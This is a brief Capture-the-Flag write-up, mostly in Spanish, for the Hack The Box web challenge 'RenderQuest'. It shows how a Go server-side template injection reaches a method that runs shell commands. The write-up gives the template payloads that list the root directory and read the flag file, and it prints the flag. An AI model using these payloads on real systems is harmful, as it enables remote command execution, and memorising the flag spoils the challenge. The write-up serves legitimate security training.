RenderQuest

Challenge Description

You’ve found a website that lets you input remote templates for rendering. Your task is to exploit this system’s vulnerabilities to access and retrieve a hidden flag. Good luck!

Categoria: Web
Dificultad: Fácil
Puntos: 30

Solution

La aplicacion esta utilizando la libreria html/template la cual puede ser vulnerable a SSTI.

En el codigo vemos que esta usando template.New que renderiza la pagina web.

	tmpl, err := template.New("page").Parse(tmplFile)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

Y al inicio del codigo vemos la siguiente funcion que ejecuta el comando que se le pasa.

func (p RequestData) FetchServerInfo(command string) string {
	out, err := exec.Command("sh", "-c", command).Output()
	if err != nil {
		return ""
	}
	return string(out)
}

Investigando llegamos al siguiente articulo.

https://exploit-notes.hdks.org/exploit/web/go-ssti/

Utilizamos https://webhook.site/ para mandar el payload. Editamos el contenido de nuestro webhook para que lo renderice la pagina.

{{ . }}
{{ .FetchServerInfo "ls -la /" }}
{{ .FetchServerInfo "cat /flagd6d86c0a00.txt" }}

Obtenemos la flag.

HTB{qu35t_f0r_th3_f0rb1dd3n_t3mpl4t35!!}